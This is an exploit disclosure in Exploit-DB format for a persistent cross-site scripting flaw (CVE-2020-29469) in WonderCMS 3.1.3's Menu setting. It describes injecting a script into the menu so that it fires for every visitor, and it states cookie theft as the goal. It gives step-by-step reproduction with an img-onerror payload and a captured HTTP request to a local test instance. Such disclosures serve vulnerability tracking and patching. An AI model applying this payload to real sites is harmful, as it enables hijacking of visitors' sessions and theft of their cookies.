35 lines
No EOL
1.5 KiB
Text
35 lines
No EOL
1.5 KiB
Text
# Exploit Title: WonderCMS 3.1.3 - 'menu' Persistent Cross-Site Scripting
|
|
# Date: 20-11-2020
|
|
# Exploit Author: Hemant Patidar (HemantSolo)
|
|
# Vendor Homepage: https://www.wondercms.com/
|
|
# Version: 3.1.3
|
|
# Tested on: Windows 10/Kali Linux
|
|
# Contact: https://www.linkedin.com/in/hemantsolo/
|
|
# CVE: CVE-2020-29469
|
|
|
|
Attack vector:
|
|
This vulnerability can results attacker to inject the XSS payload in the Setting - Menu and each time any user will visits the website directory, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.
|
|
|
|
Vulnerable Parameters: Menu.
|
|
|
|
Steps-To-Reproduce:
|
|
1. Go to the Simple website builder.
|
|
2. Put this payload in Menu: "hemantsolo"><img src=x onerror=confirm(1)>"
|
|
3. Now go to the website and the XSS will be triggered.
|
|
|
|
GET /demo/hemantsolo-img-src-x-onerror-confirm-1 HTTP/1.1
|
|
Host: 127.0.0.1
|
|
Connection: close
|
|
Cache-Control: max-age=0
|
|
Upgrade-Insecure-Requests: 1
|
|
DNT: 1
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-User: ?1
|
|
Sec-Fetch-Dest: document
|
|
Referer: 127.0.0.1/demo/hemantsolo-img-src-x-onerror-confirm-1
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6
|
|
Cookie: PHPSESSID=31ce0448562cc182b5173a300a923b93 |